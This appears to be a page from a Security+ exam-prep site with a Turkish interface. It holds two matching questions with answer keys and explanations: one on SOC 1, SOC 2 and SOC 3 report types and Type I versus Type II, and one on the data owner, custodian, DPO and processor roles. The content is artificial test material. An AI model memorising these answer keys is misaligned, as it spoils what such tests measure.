SOC 1 Type II Report matches evaluation of internal controls over financial reporting over a specified period. SOC 2 Type II Report matches evaluation of operational effectiveness under Trust Services Criteria over a period for restricted distribution. SOC 2 Type I Report matches design suitability assessment at a single point in time. SOC 3 Report matches executive summary designed for general public distribution.
Each SOC report serves a distinct purpose: SOC 1 Type II measures financial controls over time; SOC 2 Type II measures security and operational controls over time for restricted audiences; SOC 2 Type I measures security control design at a single point in time; and SOC 3 provides a publicly shareable summary of SOC 2 trust principles.

Adım Adım Çözüm

1
Distinguish SOC 1 from SOC 2 and SOC 3 focus areas.
Identify that SOC 1 addresses financial reporting (ICFR), whereas SOC 2 and SOC 3 address Trust Services Criteria (security, availability, confidentiality, processing integrity, privacy).
SOC 1 is governed by SSAE 18/SSAE 21 standards focusing on financial impacts, while SOC 2/3 focus on technical and operational security controls.
2
Differentiate Type I from Type II reports.
Identify that Type I evaluates design suitability at a point in time, while Type II evaluates operational effectiveness over a historical testing period.
Type II requires sample testing across a duration (e.g., 6–12 months) to verify that controls performed consistently.
3
Differentiate SOC 2 from SOC 3 reports.
Recognize that SOC 2 contains confidential testing details restricted to authorized parties, whereas SOC 3 is a high-level summary intended for public distribution.
Organizations use SOC 3 publicly for marketing and trust building because it omits sensitive architectural and control test details present in SOC 2.

Anahtar Kavram

Attestation and SOC Report Scopes (SOC 1 vs SOC 2 vs SOC 3, Type I vs Type II)
Soru 319Soru

An enterprise risk compliance officer is standardizing vendor oversight procedures across third-party cloud integrations. Match each third-party audit report or attestation type on the left with its primary operational scope and evaluation purpose on the right.

Soldaki öğeye tıklayın, sonra eşleşen sağdaki öğeye tıklayın

Öğeler

SOC 1 Type II Report
SOC 2 Type I Report
SOC 2 Type II Report
SOC 3 Report

Eşleşmeler

Cevabı ve açıklamayı göster

Cevap

SOC 1 Type II matches with ICFR evaluation over a historical testing period. SOC 2 Type I matches with control design evaluation at a single point in time. SOC 2 Type II matches with Trust Services Criteria design and operational effectiveness over an evaluation period. SOC 3 matches with the general-use executive summary suitable for public disclosure.
Each SOC report type serves a specific regulatory and operational function based on target subject matter (financial vs security criteria), testing duration (point-in-time vs period testing), and report distribution limits (restricted detailed vs public summary).

Adım Adım Çözüm

1
Differentiate between financial controls (SOC 1) and operational security controls (SOC 2/3)
SOC 1 explicitly addresses Internal Controls over Financial Reporting (ICFR), mapping directly to financial compliance scenarios.
Service Organization Control 1 is designed for service providers that impact a client's financial statements.
2
Distinguish between Type I and Type II audit reports
Type I assesses design suitability at a point in time; Type II evaluates design AND operational effectiveness over a minimum window (typically 6-12 months).
Type II audits provide historical proof of operating efficacy, whereas Type I audits only confirm control implementation on a specific calendar date.
3
Differentiate SOC 2 from SOC 3 report visibility and detail levels
SOC 2 is a restricted-use report containing detailed technical test results, whereas SOC 3 is a general-use summary report for public marketing and compliance distribution.
Organizations distribute SOC 3 reports publicly without exposing sensitive internal control testing matrices.

Anahtar Kavram

Distinction between SOC 1, SOC 2, and SOC 3 attestations, including Type I (point-in-time design) versus Type II (period-of-time operational effectiveness) reporting scopes.
Tahmini Süre:2m 0s
Soru 320Soru

An enterprise is establishing an updated data privacy and governance framework to ensure compliance with global data protection regulations and internal control standards. Match each data governance role or privacy entity on the left with its corresponding primary operational responsibility on the right.

Soldaki öğeye tıklayın, sonra eşleşen sağdaki öğeye tıklayın

Öğeler

Data Owner
Data Custodian
Data Protection Officer (DPO)
Data Processor

Eşleşmeler

Cevabı ve açıklamayı göster

Cevap

The correct pairings are: Data Owner matches with determining legal basis, business classification tier, and retention criteria; Data Custodian matches with implementing technical safeguards, access control lists, and backup routines; Data Protection Officer (DPO) matches with independently monitoring regulatory compliance, conducting impact assessments, and liaising with supervisory authorities; Data Processor matches with processing personal information solely under explicit instructions of a third-party data controller.
In enterprise data governance and privacy management, roles are split between executive accountability, technical management, compliance oversight, and external processing. The Data Owner determines data classification and business rules. The Data Custodian implements the technical protections requested by owners. The Data Protection Officer provides independent regulatory compliance monitoring and conducts privacy assessments. The Data Processor handles data on behalf of a controller according to strict contractual directives.

Adım Adım Çözüm

1
Analyze the operational scope and accountability of governance roles versus technical roles.
Identified that the Data Owner specifies requirements (classification, legal basis) whereas the Data Custodian executes technical security controls (backups, access controls).
Business accountability rests with ownership, whereas operational technical management rests with custody.
2
Evaluate the regulatory oversight function defined by global privacy statutes.
Paired the Data Protection Officer (DPO) with independent monitoring, DPIAs, and regulatory liaison duties.
The DPO role is mandated to maintain independence from operational data processing decisions to avoid conflicts of interest.
3
Differentiate between entity-level privacy roles (Controller vs. Processor).
Paired Data Processor with processing data under the direct instruction of the controller.
Data Processors lack authority to determine processing purpose or retention timelines independently.

Anahtar Kavram

Data Governance Roles and Privacy Responsibilities
ÖncekiSayfa 16 / 19Sonraki
Tüm alıştırma soruları — CompTIA Security+ | Examkin